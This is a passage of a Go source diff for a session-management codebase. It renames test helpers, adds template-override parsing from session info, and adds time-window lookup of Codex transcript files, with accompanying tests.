+	// A creating, still-claimed pending-create session — the shape whose lease
+	// fields (state / pending_create_claim / last_woke_at) a heal-with-rollback
+	// flips, and whose staleness would flip pendingCreateSessionStillLeasedInfo
+	// in the reconciler's post-heal switch.
+	b := sessionBeadFixture("s-1", "open", map[string]string{
+		"state":                "creating",
+		"pending_create_claim": "true",
+		"last_woke_at":         "2026-01-01T00:00:00Z",
+	})
+	is, _ := recordingStore(t, b)
+
+	pre, err := is.Get("s-1")
+	if err != nil {
+		t.Fatalf("Get (pre): %v", err)
+	}
+	if pre.MetadataState != "creating" || !pre.PendingCreateClaim {
+		t.Fatalf("pre Get = state %q claim %v, want creating/true", pre.MetadataState, pre.PendingCreateClaim)
+	}
+
+	// Persist a heal-shaped rollback: clear the claim and drop the lease markers.
+	if err := is.ApplyPatch("s-1", MetadataPatch{
+		"state":                "asleep",
+		"pending_create_claim": "",
+		"last_woke_at":         "",
+	}); err != nil {
+		t.Fatalf("ApplyPatch: %v", err)
+	}
+
+	// The re-Get must reflect the persisted write — the refresh guarantee.
+	post, err := is.Get("s-1")
+	if err != nil {
+		t.Fatalf("Get (post): %v", err)
+	}
+	if post.MetadataState != "asleep" {
+		t.Errorf("post MetadataState = %q, want asleep", post.MetadataState)
+	}
+	if post.PendingCreateClaim {
+		t.Errorf("post PendingCreateClaim = true, want false (cleared)")
+	}
+	if post.LastWokeAt != "" {
+		t.Errorf("post LastWokeAt = %q, want empty (cleared)", post.LastWokeAt)
+	}
+}
+
 // TestSleepEmitsSleepPatch proves the typed Sleep method emits exactly the bead
 // write that SleepPatch produces — the same write the reconciler raw op did.
 func TestSleepEmitsSleepPatch(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"state": "active"})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	now := time.Date(2026, 6, 1, 12, 0, 0, 0, time.UTC)
 	if err := is.Sleep("s-1", "idle-timeout", now); err != nil {
@@ -82,7 +136,7 @@ func TestSleepEmitsSleepPatch(t *testing.T) {
 // empty-string writes the raw cmd_wait.go clear did.
 func TestSetWaitHoldClearWritesEmptyStrings(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"wait_hold": "x", "sleep_intent": "x"})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	if err := is.SetWaitHold("s-1", false, ""); err != nil {
 		t.Fatalf("SetWaitHold: %v", err)
@@ -103,7 +157,7 @@ func TestSetWaitHoldClearWritesEmptyStrings(t *testing.T) {
 // (that is Phase 6).
 func TestCloseEmitsClosePatchThenClose(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"state": "active"})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	now := time.Date(2026, 6, 1, 12, 0, 0, 0, time.UTC)
 	closed, err := is.Close("s-1", "gc_swept", now)
@@ -128,7 +182,7 @@ func TestCloseEmitsClosePatchThenClose(t *testing.T) {
 // TestCloseAlreadyClosedIsNoOp proves Close on a closed bead emits no writes.
 func TestCloseAlreadyClosedIsNoOp(t *testing.T) {
 	b := sessionBeadFixture("s-1", "closed", nil)
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	closed, err := is.Close("s-1", "gc_swept", time.Now())
 	if err != nil {
@@ -146,7 +200,7 @@ func TestCloseAlreadyClosedIsNoOp(t *testing.T) {
 // without raw beads crossing the boundary.
 func TestGetStateProjectsState(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"state": "asleep"})
-	is, _ := recordingInfoStore(t, b)
+	is, _ := recordingStore(t, b)
 
 	state, closed, err := is.GetState("s-1")
 	if err != nil {
@@ -163,7 +217,7 @@ func TestGetStateProjectsState(t *testing.T) {
 // sleep_reason), NOT a SetMetadataBatch.
 func TestSetMarkerEmitsSingleKeySetMetadata(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"state": "active"})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	if err := is.SetMarker("s-1", "sleep_reason", "city-stop"); err != nil {
 		t.Fatalf("SetMarker: %v", err)
@@ -182,7 +236,7 @@ func TestSetMarkerEmitsSingleKeySetMetadata(t *testing.T) {
 // (the empty-string-clear contract) via a single SetMetadata op.
 func TestSetMarkerEmptyValueClears(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"sleep_intent": "idle-stop-pending"})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	if err := is.SetMarker("s-1", "sleep_intent", ""); err != nil {
 		t.Fatalf("SetMarker: %v", err)
@@ -198,7 +252,7 @@ func TestSetMarkerEmptyValueClears(t *testing.T) {
 // recordCurrentBeadIDOnWake's raw store.SetMetadata write (NOT a batch).
 func TestRecordCurrentBeadEmitsSingleKeySetMetadata(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", nil)
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	if err := is.RecordCurrentBead("s-1", "gcg-42"); err != nil {
 		t.Fatalf("RecordCurrentBead: %v", err)
@@ -218,7 +272,7 @@ func TestRecordCurrentBeadEmitsSingleKeySetMetadata(t *testing.T) {
 // store.Close(id) after it stamps ClosePatch separately.
 func TestCloseWithoutReasonEmitsSingleClose(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"state": "active"})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	if err := is.CloseWithoutReason("s-1"); err != nil {
 		t.Fatalf("CloseWithoutReason: %v", err)
@@ -237,7 +291,7 @@ func TestCloseWithoutReasonEmitsSingleClose(t *testing.T) {
 // store.Update(id, UpdateOpts{Status: &"open"}) reopen/retire-archive writes.
 func TestSetStatusOpenEmitsStatusOnlyUpdate(t *testing.T) {
 	b := sessionBeadFixture("s-1", "closed", map[string]string{"state": "archived"})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	if err := is.SetStatusOpen("s-1"); err != nil {
 		t.Fatalf("SetStatusOpen: %v", err)
@@ -264,7 +318,7 @@ func TestSetStatusOpenEmitsStatusOnlyUpdate(t *testing.T) {
 func TestRepairTypeEmitsTypeOnlyUpdate(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", nil)
 	b.Type = ""
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	if err := is.RepairType("s-1"); err != nil {
 		t.Fatalf("RepairType: %v", err)
@@ -290,7 +344,7 @@ func TestCircuitResetGenerationReturnsPersistedValue(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{
 		SessionCircuitResetGenerationMetadataKey: "7",
 	})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	got, err := is.CircuitResetGeneration("s-1")
 	if err != nil {
@@ -310,7 +364,7 @@ func TestCircuitResetGenerationReturnsPersistedValue(t *testing.T) {
 // stamped the generation.
 func TestCircuitResetGenerationEmptyWhenUnset(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"state": "active"})
-	is, _ := recordingInfoStore(t, b)
+	is, _ := recordingStore(t, b)
 
 	got, err := is.CircuitResetGeneration("s-1")
 	if err != nil {
@@ -326,7 +380,7 @@ func TestCircuitResetGenerationEmptyWhenUnset(t *testing.T) {
 // store.Get error path the front door replaces.
 func TestCircuitResetGenerationSurfacesStoreError(t *testing.T) {
 	store := seedSessionStore(t)
-	is := NewInfoStore(store)
+	is := NewStore(store)
 	if _, err := is.CircuitResetGeneration("missing"); err == nil {
 		t.Fatal("CircuitResetGeneration(missing): want store error, got nil")
 	}
@@ -344,7 +398,7 @@ func TestPersistedMarkersReturnsVerbatimValues(t *testing.T) {
 		"continuation_epoch": "4",
 		"sleep_reason":       "wait-hold",
 	})
-	is, rec := recordingInfoStore(t, b)
+	is, rec := recordingStore(t, b)
 
 	got, err := is.PersistedMarkers("s-1")
 	if err != nil {
@@ -370,7 +424,7 @@ func TestPersistedMarkersReturnsVerbatimValues(t *testing.T) {
 // stamped those markers.
 func TestPersistedMarkersEmptyWhenUnset(t *testing.T) {
 	b := sessionBeadFixture("s-1", "open", map[string]string{"state": "active"})
-	is, _ := recordingInfoStore(t, b)
+	is, _ := recordingStore(t, b)
 
 	got, err := is.PersistedMarkers("s-1")
 	if err != nil {
@@ -386,7 +440,7 @@ func TestPersistedMarkersEmptyWhenUnset(t *testing.T) {
 // store.Get error path the front door replaces.
 func TestPersistedMarkersSurfacesStoreError(t *testing.T) {
 	store := seedSessionStore(t)
-	is := NewInfoStore(store)
+	is := NewStore(store)
 	if _, err := is.PersistedMarkers("missing"); err == nil {
 		t.Fatal("PersistedMarkers(missing): want store error, got nil")
 	}
diff --git a/internal/session/template_overrides.go b/internal/session/template_overrides.go
index a5293f422d..027957809e 100644
--- a/internal/session/template_overrides.go
+++ b/internal/session/template_overrides.go
@@ -11,7 +11,23 @@ func ParseTemplateOverrides(metadata map[string]string) (map[string]string, erro
 	if metadata == nil {
 		return nil, nil
 	}
-	raw := strings.TrimSpace(metadata["template_overrides"])
+	return parseTemplateOverrides(metadata["template_overrides"])
+}
+
+// ParseTemplateOverridesFromInfo decodes the template_overrides mirror carried on
+// a session.Info (Info.TemplateOverrides — the raw JSON-object string). It is the
+// front-door read used by the reconciler config-drift hash path and the launch
+// path instead of cracking session.Metadata directly, and is byte-identical to
+// ParseTemplateOverrides for the same underlying bead.
+func ParseTemplateOverridesFromInfo(info Info) (map[string]string, error) {
+	return parseTemplateOverrides(info.TemplateOverrides)
+}
+
+// parseTemplateOverrides is the shared decode core over the raw template_overrides
+// JSON-object string: absent/blank/JSON-null/empty-object normalize to nil with no
+// error; malformed payloads surface an error naming the metadata key.
+func parseTemplateOverrides(raw string) (map[string]string, error) {
+	raw = strings.TrimSpace(raw)
 	if raw == "" {
 		return nil, nil
 	}
diff --git a/internal/session/template_overrides_test.go b/internal/session/template_overrides_test.go
index 71f3418fda..db29835f26 100644
--- a/internal/session/template_overrides_test.go
+++ b/internal/session/template_overrides_test.go
@@ -4,6 +4,8 @@ import (
 	"reflect"
 	"strings"
 	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
 )
 
 // TestParseTemplateOverrides pins the shared template_overrides parse contract
@@ -56,3 +58,32 @@ func TestParseTemplateOverrides(t *testing.T) {
 		})
 	}
 }
+
+// TestParseTemplateOverridesFromInfoMatchesRaw proves the Info front-door decode
+// (ParseTemplateOverridesFromInfo, used by the reconciler config-drift hash path
+// and the launch path) is byte-identical to the raw ParseTemplateOverrides for
+// the same bead across the full absent/blank/null/empty/malformed/valid contract.
+func TestParseTemplateOverridesFromInfoMatchesRaw(t *testing.T) {
+	metas := []map[string]string{
+		nil,
+		{"state": "asleep"},
+		{"template_overrides": ""},
+		{"template_overrides": " \n\t "},
+		{"template_overrides": "null"},
+		{"template_overrides": "{}"},
+		{"template_overrides": "{not json"},
+		{"template_overrides": `{"model":1}`},
+		{"template_overrides": `{"model":"sonnet","initial_message":"hi"}`},
+	}
+	for _, meta := range metas {
+		info := InfoFromPersistedBead(beads.Bead{Metadata: meta})
+		rawOut, rawErr := ParseTemplateOverrides(meta)
+		infoOut, infoErr := ParseTemplateOverridesFromInfo(info)
+		if (rawErr == nil) != (infoErr == nil) {
+			t.Fatalf("meta=%v: raw err=%v info err=%v", meta, rawErr, infoErr)
+		}
+		if !reflect.DeepEqual(rawOut, infoOut) {
+			t.Fatalf("meta=%v: raw=%v info=%v", meta, rawOut, infoOut)
+		}
+	}
+}
diff --git a/internal/session/transcript_lookup.go b/internal/session/transcript_lookup.go
new file mode 100644
index 0000000000..a7faa225dd
--- /dev/null
+++ b/internal/session/transcript_lookup.go
@@ -0,0 +1,138 @@
+package session
+
+import (
+	"sort"
+	"strings"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/sessionlog"
+	workertranscript "github.com/gastownhall/gascity/internal/worker/transcript"
+)
+
+// anchoredCodexSession is a same-workdir Codex session paired with its resolved
+// start-time anchor and the tiebreak key used to order equal-start sessions.
+type anchoredCodexSession struct {
+	id     string
+	start  time.Time
+	tieKey string
+}
+
+// ResolveCodexTranscriptBySessionOrder maps an ambiguous same-workdir Codex
+// session group to a transcript by using each session's wake/start timestamp.
+// It returns empty unless the target session has a unique transcript in its
+// start window, preserving ambiguity for underspecified groups.
+func ResolveCodexTranscriptBySessionOrder(searchPaths []string, provider, workDir, targetID string, sessions []beads.Bead) string {
+	if sessionlog.ProviderFamily(provider) != "codex" || strings.TrimSpace(workDir) == "" || strings.TrimSpace(targetID) == "" {
+		return ""
+	}
+	anchored := collectAnchoredCodexSessions(sessions, workDir)
+	if len(anchored) < 2 {
+		return ""
+	}
+	sortAnchoredCodexSessions(anchored)
+	if hasDuplicateAnchorStart(anchored) {
+		return ""
+	}
+	for i, item := range anchored {
+		if item.id != targetID {
+			continue
+		}
+		end := codexSessionWindowEnd(anchored, i)
+		return workertranscript.DiscoverCodexPathInTimeWindow(searchPaths, workDir, item.start, end)
+	}
+	return ""
+}
+
+// collectAnchoredCodexSessions keeps the same-workdir sessions that carry a
+// non-zero start anchor, dropping ones without an id or a resolvable anchor.
+func collectAnchoredCodexSessions(sessions []beads.Bead, workDir string) []anchoredCodexSession {
+	var anchored []anchoredCodexSession
+	for _, b := range sessions {
+		if b.ID == "" || strings.TrimSpace(b.Metadata["work_dir"]) != workDir {
+			continue
+		}
+		start := transcriptStartAnchor(b)
+		if start.IsZero() {
+			continue
+		}
+		anchored = append(anchored, anchoredCodexSession{
+			id:     b.ID,
+			start:  start,
+			tieKey: strings.TrimSpace(b.Metadata["session_name"]),
+		})
+	}
+	return anchored
+}
+
+// sortAnchoredCodexSessions orders sessions by start time, breaking ties on the
+// session name and then the id so ordering is deterministic.
+func sortAnchoredCodexSessions(anchored []anchoredCodexSession) {
+	sort.Slice(anchored, func(i, j int) bool {
+		if anchored[i].start.Equal(anchored[j].start) {
+			if anchored[i].tieKey == anchored[j].tieKey {
+				return anchored[i].id < anchored[j].id
+			}
+			return anchored[i].tieKey < anchored[j].tieKey
+		}
+		return anchored[i].start.Before(anchored[j].start)
+	})
+}
+
+// hasDuplicateAnchorStart reports whether any two adjacent (already sorted)
+// sessions share the same start anchor, which collapses the group to ambiguous.
+func hasDuplicateAnchorStart(anchored []anchoredCodexSession) bool {
+	for i := 1; i < len(anchored); i++ {
+		if anchored[i].start.Equal(anchored[i-1].start) {
+			return true
+		}
+	}
+	return false
+}
+
+// codexSessionWindowEnd returns the exclusive end of the start-time window for
+// the session at index i: the next strictly-later session start, or zero when i
+// is the last session (an open-ended window).
+func codexSessionWindowEnd(anchored []anchoredCodexSession, i int) time.Time {
+	for j := i + 1; j < len(anchored); j++ {
+		if anchored[j].start.After(anchored[i].start) {
+			return anchored[j].start
+		}
+	}
+	return time.Time{}
+}
+
+// transcriptStartAnchor returns the best available "start of this session" time
+// for windowing its Codex transcript. Preference runs most-precise first:
+// last_woke_at and pending_create_started_at pin an in-flight wake/create, but
+// both are cleared when a session sleeps or drains (SleepPatch,
+// AcknowledgeDrainPatch). awake_started_at is the immutable
+// start-of-awake-interval epoch that survives those teardowns, so it is
+// preferred over creation_complete_at, which is stamped when the runtime
+// finishes coming up and can land several seconds after the rollout's
+// session_meta timestamp. Anchoring a slept or drained session on
+// creation_complete_at would push the [start-2s, end) window past the true
+// transcript and drop it; awake_started_at keeps the window aligned with the
+// rollout. CreatedAt is the final fallback.
+func transcriptStartAnchor(b beads.Bead) time.Time {
+	for _, key := range []string{"last_woke_at", "pending_create_started_at", "awake_started_at", "creation_complete_at"} {
+		if parsed := parseTranscriptAnchorTime(b.Metadata[key]); !parsed.IsZero() {
+			return parsed
+		}
+	}
+	return b.CreatedAt
+}
+
+func parseTranscriptAnchorTime(raw string) time.Time {
+	raw = strings.TrimSpace(raw)
+	if raw == "" {
+		return time.Time{}
+	}
+	if parsed, err := time.Parse(time.RFC3339Nano, raw); err == nil {
+		return parsed
+	}
+	if parsed, err := time.Parse(time.RFC3339, raw); err == nil {
+		return parsed
+	}
+	return time.Time{}
+}
diff --git a/internal/session/transcript_lookup_test.go b/internal/session/transcript_lookup_test.go
new file mode 100644
index 0000000000..37bc267bf6
--- /dev/null
+++ b/internal/session/transcript_lookup_test.go
@@ -0,0 +1,84 @@
+package session
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// writeCodexRolloutForAnchor writes a minimal Codex rollout transcript whose
+// session_meta cwd is workDir and whose payload timestamp is startedAt, laid out
+// in the YYYY/MM/DD date tree the time-window resolver scans. It returns the
+// rollout path.
+func writeCodexRolloutForAnchor(t *testing.T, root, workDir, sessionID string, startedAt time.Time) string {
+	t.Helper()
+	day := startedAt.In(time.Local)
+	dayDir := filepath.Join(root, day.Format("2006"), day.Format("01"), day.Format("02"))
+	if err := os.MkdirAll(dayDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	path := filepath.Join(dayDir, "rollout-"+startedAt.UTC().Format("2006-01-02T15-04-05")+"-"+sessionID+".jsonl")
+	meta := fmt.Sprintf(`{"timestamp":%q,"type":"session_meta","payload":{"id":%q,"cwd":%q,"timestamp":%q}}`,
+		startedAt.Format(time.RFC3339Nano), sessionID, workDir, startedAt.Format(time.RFC3339Nano))
+	if err := os.WriteFile(path, []byte(meta+"\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	return path
+}
+
+// TestResolveCodexTranscriptBySessionOrderAnchorsOnAwakeStartedAt proves the
+// same-workdir Codex fallback anchors each session's transcript window on the
+// immutable awake_started_at rather than the later creation_complete_at. Once a
+// session sleeps or drains, last_woke_at and pending_create_started_at are
+// cleared, so without awake_started_at the resolver falls through to
+// creation_complete_at — stamped several seconds after the rollout's
+// session_meta timestamp — and filters the true transcript out of the
+// [start-2s, end) window, which is exactly the historical session this fallback
+// exists to recover.
+func TestResolveCodexTranscriptBySessionOrderAnchorsOnAwakeStartedAt(t *testing.T) {
+	root := t.TempDir()
+	workDir := "/data/projects/myproject"
+	const provider = "codex"
+
+	// Target session A rolled out at startA; a later sibling B fixes A's window
+	// end. Both are slept: last_woke_at and pending_create_started_at are blank,
+	// awake_started_at aligns with the rollout, and creation_complete_at lands 5s
+	// later — late enough that a creation_complete_at anchor (windowStart =
+	// creation_complete_at - 2s) would exclude the rollout from the window.
+	startA := time.Date(2026, 5, 19, 12, 0, 0, 0, time.UTC)
+	startB := startA.Add(30 * time.Second)
+
+	pathA := writeCodexRolloutForAnchor(t, root, workDir, "019e3e8e-3591-7532-a1ef-8b9e882bea2f", startA)
+	writeCodexRolloutForAnchor(t, root, workDir, "019e3e8e-ffff-7000-a1ef-8b9e882bea2f", startB)
+
+	sessions := []beads.Bead{
+		sleptCodexSessionBead("sess-a", workDir, provider, startA),
+		sleptCodexSessionBead("sess-b", workDir, provider, startB),
+	}
+
+	got := ResolveCodexTranscriptBySessionOrder([]string{root}, provider, workDir, "sess-a", sessions)
+	if got != pathA {
+		t.Fatalf("ResolveCodexTranscriptBySessionOrder() = %q, want %q (awake_started_at window must include the rollout)", got, pathA)
+	}
+}
+
+// sleptCodexSessionBead builds a same-workdir Codex session bead in the
+// slept/drained shape: last_woke_at and pending_create_started_at are cleared,
+// awake_started_at pins the rollout start, and creation_complete_at is 5s later.
+func sleptCodexSessionBead(id, workDir, provider string, awakeStart time.Time) beads.Bead {
+	return beads.Bead{
+		ID: id,
+		Metadata: map[string]string{
+			"work_dir":                  workDir,
+			"provider":                  provider,
+			"last_woke_at":              "",
+			"pending_create_started_at": "",
+			"awake_started_at":          awakeStart.Format(time.RFC3339Nano),
+			"creation_complete_at":      awakeStart.Add(5 * time.Second).Format(time.RFC3339),
+		},
+	}
+}
diff --git a/internal/session/waits.go b/internal/session/waits.go
index 6735d911cf..ae5edc611c 100644
--- a/internal/session/waits.go
+++ b/internal/session/waits.go
@@ -204,11 +204,9 @@ func WakeSession(store beads.Store, sessionBead beads.Bead, now time.Time) ([]st
 	if store == nil || sessionBead.ID == "" {
 		return nil, nil
 	}
-	view := ProjectLifecycle(LifecycleInput{
-		Status:   sessionBead.Status,
-		Metadata: sessionBead.Metadata,
-		Now:      now,
-	})
+	lcInput := LifecycleInputFromMetadata(sessionBead.Status, sessionBead.Metadata)
+	lcInput.Now = now
+	view := ProjectLifecycle(lcInput)
 	if state, conflict := lifecycleWakeConflictState(view); conflict {
 		return nil, &WakeConflictError{SessionID: sessionBead.ID, State: state}
 	}
diff --git a/internal/sessionlog/reader.go b/internal/sessionlog/reader.go
index ceca414b4d..b42fa93fe3 100644
--- a/internal/sessionlog/reader.go
+++ b/internal/sessionlog/reader.go
@@ -1031,19 +1031,214 @@ func startOfLocalDay(t time.Time) time.Time {
 	return time.Date(year, month, day, 0, 0, 0, 0, time.Local)
 }
 
-// findCodexSessionFileIn searches a Codex sessions directory for the most
-// recent session matching workDir. Scans date directories in reverse
-// chronological order for efficiency. Also recurses into symlinked
-// subdirectories that aren't date components (e.g., aimux session roots).
-func findCodexSessionFileIn(sessDir, workDir string) string {
-	entries, err := os.ReadDir(sessDir)
+// CodexSessionCandidate is a Codex transcript whose session metadata matches a
+// requested workdir.
+type CodexSessionCandidate struct {
+	Path      string
+	WorkDir   string
+	StartedAt time.Time
+	ModTime   time.Time
+}
+
+// FindCodexSessionFileByIDNoWindow resolves a Codex transcript by provider
+// session ID without a creation/wake window. Codex names rollouts
+// "rollout-<localtime>-<session-uuid>.jsonl", so the id keys the file by its
+// exact filename suffix. The scan walks date directories newest-first and
+// returns the first "rollout-*-<sessionID>.jsonl" whose session_meta cwd equals
+// workDir; only that matched transcript is opened, so cost scales with matches
+// rather than with total Codex history. A session id containing path separators
+// or ".." is rejected. Callers that have a creation/wake window should prefer
+// FindCodexSessionFileByID, which bounds the scan by date and refuses ambiguous
+// matches.
+func FindCodexSessionFileByIDNoWindow(searchPaths []string, workDir, sessionID string) string {
+	workDir = strings.TrimSpace(workDir)
+	sessionID = strings.TrimSpace(sessionID)
+	if workDir == "" || sessionID == "" || strings.Contains(sessionID, "..") || strings.ContainsAny(sessionID, `/\`) {
+		return ""
+	}
+	suffix := "-" + sessionID + ".jsonl"
+	seen := make(map[string]bool)
+	for _, root := range mergeCodexSearchPaths(searchPaths) {
+		if path := findCodexRolloutBySuffixIn(root, workDir, suffix, seen); path != "" {
+			return path
+		}
+	}
+	return ""
+}
+
+// findCodexRolloutBySuffixIn walks a Codex sessions directory newest-first and
+// returns the first "rollout-*<suffix>" transcript whose session_meta cwd
+// matches workDir. It recurses into symlinked non-date roots (aimux account
+// roots) like findCodexSessionFileIn, guarding against symlink cycles via seen.
+func findCodexRolloutBySuffixIn(sessDir, workDir, suffix string, seen map[string]bool) string {
+	cleaned := filepath.Clean(sessDir)
+	if seen[cleaned] {
+		return ""
+	}
+	seen[cleaned] = true
+	yearDirs, extraRoots := splitCodexSessionRoots(cleaned)
+	sort.Sort(sort.Reverse(sort.StringSlice(yearDirs)))
+	for _, year := range yearDirs {
+		yearDir := filepath.Join(cleaned, year)
+		for _, month := range listDirsReverse(yearDir) {
+			monthDir := filepath.Join(yearDir, month)
+			for _, day := range listDirsReverse(monthDir) {
+				if path := findCodexRolloutBySuffixInDir(filepath.Join(monthDir, day), workDir, suffix); path != "" {
+					return path
+				}
+			}
+		}
+	}
+	for _, root := range extraRoots {
+		resolved, err := filepath.EvalSymlinks(filepath.Join(cleaned, root))
+		if err != nil {
+			continue
+		}
+		if path := findCodexRolloutBySuffixIn(resolved, workDir, suffix, seen); path != "" {
+			return path
+		}
+	}
+	return ""
+}
+
+// findCodexRolloutBySuffixInDir returns the first rollout in dir whose name
+// carries suffix and whose session_meta cwd matches workDir.
+func findCodexRolloutBySuffixInDir(dir, workDir, suffix string) string {
+	entries, err := os.ReadDir(dir)
 	if err != nil {
 		return ""
 	}
+	for _, e := range entries {
+		name := e.Name()
+		if e.IsDir() || !strings.HasPrefix(name, "rollout-") || !strings.HasSuffix(name, suffix) {
+			continue
+		}
+		path := filepath.Join(dir, name)
+		if codexSessionCWD(path) == workDir {
+			return path
+		}
+	}
+	return ""
+}
 
-	// Separate date-tree roots (YYYY dirs) from symlinked session roots.
-	var yearDirs []string
-	var extraRoots []string
+// FindCodexSessionFileInTimeWindow resolves a Codex transcript whose metadata
+// start time uniquely falls inside [start, end). A zero end leaves the window
+// open-ended. If the window matches zero or multiple transcripts, it returns
+// empty to preserve same-workdir ambiguity guards. The disk scan is bounded to
+// the date directories overlapping the window (padded one day for local-time
+// skew) so cost scales with the window, not with total Codex history, and
+// physical duplicates reachable through more than one merged root are counted
+// once.
+func FindCodexSessionFileInTimeWindow(searchPaths []string, workDir string, start, end time.Time) string {
+	if start.IsZero() {
+		return ""
+	}
+	workDir = strings.TrimSpace(workDir)
+	if workDir == "" {
+		return ""
+	}
+	firstDay := startOfLocalDay(start.In(time.Local)).AddDate(0, 0, -1)
+	lastDay := startOfLocalDay(start.In(time.Local)).AddDate(0, 0, 1)
+	if !end.IsZero() {
+		lastDay = startOfLocalDay(end.In(time.Local)).AddDate(0, 0, 1)
+	}
+	if lastDay.Before(firstDay) {
+		return ""
+	}
+	var candidates []CodexSessionCandidate
+	seen := make(map[string]bool)
+	for _, root := range mergeCodexSearchPaths(searchPaths) {
+		collectCodexCandidatesInDays(root, workDir, firstDay, lastDay, true, seen, &candidates)
+	}
+	windowStart := start.Add(-2 * time.Second)
+	match := ""
+	for _, candidate := range candidates {
+		candidateTime := codexCandidateSortTime(candidate)
+		if candidateTime.IsZero() || candidateTime.Before(windowStart) {
+			continue
+		}
+		if !end.IsZero() && !candidateTime.Before(end) {
+			continue
+		}
+		if match != "" {
+			return ""
+		}
+		match = candidate.Path
+	}
+	return match
+}
+
+// collectCodexCandidatesInDays appends Codex candidates matching workDir whose
+// date directory falls within [firstDay, lastDay], newest day first and capped
+// at codexByIDDayDirCap so an oversized range cannot become an unbounded sweep.
+// Physical duplicates (symlink aliases across merged roots) are dropped via
+// seen. followExtraRoots permits one level of recursion into symlinked non-date
+// roots, mirroring collectCodexRolloutsByID.
+func collectCodexCandidatesInDays(root, workDir string, firstDay, lastDay time.Time, followExtraRoots bool, seen map[string]bool, out *[]CodexSessionCandidate) {
+	scanned := 0
+	for day := lastDay; !day.Before(firstDay) && scanned < codexByIDDayDirCap; day = day.AddDate(0, 0, -1) {
+		scanned++
+		dayDir := filepath.Join(root, day.Format("2006"), day.Format("01"), day.Format("02"))
+		appendCodexCandidatesFromDir(dayDir, workDir, seen, out)
+	}
+	if !followExtraRoots {
+		return
+	}
+	_, extraRoots := splitCodexSessionRoots(root)
+	for _, name := range extraRoots {
+		resolved, err := filepath.EvalSymlinks(filepath.Join(root, name))
+		if err != nil {
+			continue
+		}
+		collectCodexCandidatesInDays(resolved, workDir, firstDay, lastDay, false, seen, out)
+	}
+}
+
+// appendCodexCandidatesFromDir appends every Codex transcript in dir whose
+// session_meta cwd matches workDir, deduplicated by physical file identity via
+// seen so a rollout reachable through more than one root is counted once.
+func appendCodexCandidatesFromDir(dir, workDir string, seen map[string]bool, out *[]CodexSessionCandidate) {
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return
+	}
+	for _, e := range entries {
+		if e.IsDir() || !strings.HasSuffix(e.Name(), ".jsonl") {
+			continue
+		}
+		path := filepath.Join(dir, e.Name())
+		key := path
+		if resolved, err := filepath.EvalSymlinks(path); err == nil {
+			key = resolved
+		}
+		if seen[key] {
+			continue
+		}
+		candidate, ok := codexSessionCandidate(path)
+		if !ok || candidate.WorkDir != workDir {
+			continue
+		}
+		seen[key] = true
+		*out = append(*out, candidate)
+	}
+}
+
+func codexCandidateSortTime(candidate CodexSessionCandidate) time.Time {
+	if !candidate.StartedAt.IsZero() {
+		return candidate.StartedAt
+	}
+	return candidate.ModTime
+}
+
+// splitCodexSessionRoots reads a Codex sessions directory and separates
+// four-digit year directories (the YYYY/MM/DD date tree) from symlinked
+// non-date roots (aimux-managed account roots). Entries that are neither a
+// directory nor a symlink are ignored, and a read error yields empty slices.
+func splitCodexSessionRoots(dir string) (yearDirs, extraRoots []string) {
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return nil, nil
+	}
 	for _, e := range entries {
 		if !e.IsDir() && e.Type()&os.ModeSymlink == 0 {
 			continue
@@ -1052,10 +1247,18 @@ func findCodexSessionFileIn(sessDir, workDir string) string {
 		if len(name) == 4 && name >= "2000" && name <= "2099" {
 			yearDirs = append(yearDirs, name)
 		} else if e.Type()&os.ModeSymlink != 0 {
-			// Symlinked directory — treat as an additional session root.
 			extraRoots = append(extraRoots, name)
 		}
 	}
+	return yearDirs, extraRoots
+}
+
+// findCodexSessionFileIn searches a Codex sessions directory for the most
+// recent session matching workDir. Scans date directories in reverse
+// chronological order for efficiency. Also recurses into symlinked
+// subdirectories that aren't date components (e.g., aimux session roots).
+func findCodexSessionFileIn(sessDir, workDir string) string {
+	yearDirs, extraRoots := splitCodexSessionRoots(sessDir)
 
 	// Scan year dirs in reverse chronological order.
 	sort.Sort(sort.Reverse(sort.StringSlice(yearDirs)))
@@ -1065,9 +1268,7 @@ func findCodexSessionFileIn(sessDir, workDir string) string {
 
 	// Scan symlinked session roots (aimux-managed accounts).
 	for _, root := range extraRoots {
-		rootDir := filepath.Join(sessDir, root)
-		// Resolve symlink to get the actual directory.
-		resolved, err := filepath.EvalSymlinks(rootDir)
+		resolved, err := filepath.EvalSymlinks(filepath.Join(sessDir, root))
 		if err != nil {
 			continue
 		}
